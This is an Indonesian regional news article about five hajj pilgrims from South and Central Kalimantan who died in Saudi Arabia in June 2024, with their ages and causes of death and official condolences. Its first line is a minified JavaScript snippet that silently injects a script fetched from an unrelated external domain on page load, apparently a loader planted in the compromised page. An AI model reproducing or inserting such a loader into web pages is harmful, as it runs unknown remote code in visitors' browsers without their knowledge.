(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

RELIGI

Jemaah Haji Asal Tala Wafat di Makkah, Tercatat 5 Syuhada Haji dari Kalsel dan Kalteng

KANALKALIMANTAN.COM, BANJARMASIN – Kabar duka kembali datang dari Tanah Suci. Jemaah haji Embarkasi Banjarmasin Provinsi Kalimantan Selatan (Kalsel) wafat di Tanah Suci bertambah.

Berdasarkan data yang dirilis Kemenag Kalsel, seorang jemaah dari Kloter 11 asal Kabupaten Tanah Laut, Kalsel, Sumiyati Muhayyan Ihsan (72) menghembuskan nafas terakhir di Tanah Suci menjelang kepulangan ke Tanah Air.

Jemaah kategori lansia dikabarkan wafat pada Sabtu (22/6/2024) di Rumah Sakit King Abdullah Makkkah, pukul 17:12 Waktu Arab Saudi (WAS) karena mengalami shock cardiogenic.

Wafatnya satu jemaah haji asal Tanah Laut tersebut menambah daftar jemaah haji yang berpulang ke Rahmatullah di Tanah Suci asal Embarkasi Haji Banjarmasin.

Hingga Minggu (23/6/2024), tercatat lima orang jemaah haji Embarkasi Banjarmasin yang wafat di Arab Saudi, empat dari Kalimantan Selatan dan satu dari Kalimantan Tengah.

Jemaah haji Embarkasi Banjarmasin pertama yang wafat di Tanah Suci bernama Sirun Mucheri Sarkawi (79) dari Kloter 7 Kabupaten Barito Selatan. Jemaah asal Kalteng itu wafat pada Sabtu (8/6/2024) pukul 13:14 WAS di Rumah Sakit Makkkah. Ia wafat karena mengalami infeksi paru dan gangguan jantung.

Kemudian, jemaah kedua bernama Hidayatussabyan (50) Kloter 18 dari Tabalong, Kalsel, wafat pada Jumat (14/6/2024) 18:15 WAS di Rumah Sakit Arafah karena syok kardiogenic, heart failure, hipertensi, dn DM non insuli.

Kemudian dari Kloter 14, H Supain Suri Syarkawi (57) jemaah haji asal Kabupaten Hulu Sungai Selatan meninggal dunia di Mina, Arab Saudi pada Minggu (16/6/2024) pukul 06:00 WAS karena cardiac arrest.

Lalu jemaah haji Kalsel asal Kabupaten Tapin bernama Hj Restina Ahmadsyah Aun (57) yang termasuk dalam Kloter 15 Embarkasi Banjarmasin wafat pada Senin (17/6/2024) pukul 11.30 WAS di Mina, Arab Saudi karena shock cardiogenic.

Kepala Kantor Wilayah Kementerian Agama (Kemenag) Kalsel Dr H Muhammad Tambrin MMPd menyampaikan duka dan belasungkawa atas wafatnya semua jemaah haji tersebut.

Menurutnya jabar ini tentu menjadi duka yang mendalam bagi keluarga terlebih karena jasad mereka tidak bisa dibawa ke Tanah Air.

“Insyaallah, mereka semua jemaah haji yang telah wafat tersebut menjadi Syuhada Haji, sebab seseorang yang meninggal dunia saat melaksanakan ibadah haji di Tanah Suci akan mendapatkan keutamaan dan kemuliaan, salah satunya mati dalam keadaan syahid atau seperti orang yang wafat di jalan Allah SWT,” katanya.

Tambrin mengajak kepada semua masyarakat untuk mendoakan para jemaah haji agar senantiasa diberikan kesehatan dan keselamatan, terlebih untuk saat ini fase pemulangan jemaah haji dari Arab Saudi ke Tanah Air mulai dilaksanakan. (Kanalkalimantan.com/rizki)

Reportrer: rizki
Editor: bie